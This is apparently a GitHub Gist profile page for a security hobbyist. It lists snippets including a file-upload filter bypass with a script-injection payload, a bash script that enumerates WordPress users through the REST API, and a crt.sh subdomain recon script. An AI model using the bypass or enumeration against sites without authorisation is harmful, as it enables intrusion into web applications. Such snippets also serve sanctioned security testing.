always depressed in 0.0.0.0

Alphu gitnepal

always depressed in 0.0.0.0

{"Bio":null}

gitnepal / vimarrows.txt

Last active December 13, 2018 07:03

vim fix arrows keys that display ABCD

gitnepal / tweets.txt

Last active October 3, 2018 14:07

tweets

	filename="/./hey/.js?c=a.pnG%0a\"
	Content-Type:

	<html><script>alert(0)</script>

	File uploader was looking for .png, but we break it with pnG%0a - blank content type and it defaults to what it can detect in the file

gitnepal / alpha_wp_secure.txt

Created August 20, 2018 12:22

Securing Wordpress

gitnepal / districts.json

Created August 20, 2018 11:31

Districts Nepal [pvt test]

gitnepal / wpusers.sh

Created May 31, 2018 16:06

WordPress Users Enumeration {/wp-json/wp/v2/users} - Short and easy , @gitnepal

	#!/bin/bash
	#curl"//wp-json/wp/v2/users" //rootnep.al /@___0x00
	if [[ $# -eq 0 ]] ;
	then
	echo "Usage: ./wpuser.sh wpdomain"
	exit 1
	else
	curl 'https://'$1'/wp-json/wp/v2/users' \| jq '.[]\|.slug' \| tr -d '"' \| sort -u > $1.txt
	echo "Users:"
	cat $1.txt

gitnepal / crt.sh

Last active January 22, 2021 22:10

Bash Script to pull list of domains from http://crt.sh for automation and lazy recon @nahamsec / @gitnepal

	#!/bin/bash
	#Thanks @nahamsec tweets, @___0x00
	if [[ $# -eq 0 ]] ;
	then
	echo "Usage: ./crt.sh domainname"
	exit 1
	else
	curl 'https://crt.sh/?q=%.'$1'&output=json' \| jq '.[] \| {name_value}' \| sed 's/\"//g' \| sed 's/\*\.//g' \| sort -u > $1.txt
	cat $1.txt
	fi